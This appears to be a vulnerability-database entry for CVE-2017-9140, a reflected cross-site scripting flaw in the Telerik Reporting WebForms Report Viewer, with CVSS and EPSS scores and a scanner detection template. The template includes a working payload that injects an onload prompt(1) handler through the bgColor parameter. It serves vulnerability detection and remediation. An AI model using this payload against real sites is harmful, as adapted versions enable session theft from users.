4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.002 Low
EPSS
Percentile
56.7%
Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.
id: CVE-2017-9140
info:
name: Reflected XSS - Telerik Reporting Module
author: dhiyaneshDk
severity: medium
description: Cross-site scripting vulnerability in Telerik.ReportViewer.WebForms.dll in Telerik Reporting for ASP.NET WebForms Report Viewer control before R1 2017 SP2 (11.0.17.406) allows remote attackers to inject arbitrary web script or HTML via the bgColor parameter to Telerik.ReportViewer.axd.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, potentially leading to session hijacking, defacement of web pages, or theft of sensitive information.
remediation: Upgrade to application version 11.0.17.406 (2017 SP2) or later.
reference:
- https://www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module
- https://nvd.nist.gov/vuln/detail/CVE-2017-9140
- https://www.veracode.com/blog/research/anatomy-cross-site-scripting-flaw-telerik-reporting-module
- http://www.telerik.com/support/whats-new/reporting/release-history/telerik-reporting-r1-2017-sp2-(version-11-0-17-406)
- https://knowledgebase.progress.com/articles/Article/Security-Advisory-for-Resolving-Security-vulnerabilities-September-2018
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2017-9140
cwe-id: CWE-79
epss-score: 0.00191
epss-percentile: 0.56488
cpe: cpe:2.3:a:progress:telerik_reporting:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: progress
product: telerik_reporting
tags: cve2017,cve,xss,telerik,progress
http:
- method: GET
path:
- '{{BaseURL}}/Telerik.ReportViewer.axd?optype=Parameters&bgColor=_000000%22onload=%22prompt(1)'
matchers-condition: and
matchers:
- type: word
words:
- '#000000"onload="prompt(1)'
- 'Telerik.ReportViewer.axd?name=Resources'
condition: and
- type: status
status:
- 200
# digest: 4a0a00473045022100a0ae3cee6c032779188defaba13ba515900432974163523509b991be8eb3bbe6022044aaab25b4230a8a91fd5f434ae326ca2b94cde43bf07ffffb32b94a7125bb7e:922c64590222798bb761d5b6d8e72950
www.telerik.com/support/whats-new/reporting/release-history/telerik-reporting-r1-2017-sp2-(version-11-0-17-406)
knowledgebase.progress.com/articles/Article/Security-Advisory-for-Resolving-Security-vulnerabilities-September-2018
nvd.nist.gov/vuln/detail/CVE-2017-9140
www.veracode.com/blog/research/anatomy-cross-site-scripting-flaw-telerik-reporting-module
www.veracode.com/blog/secure-development/anatomy-cross-site-scripting-flaw-telerik-reporting-module
4.3 Medium
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
6.1 Medium
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
0.002 Low
EPSS
Percentile
56.7%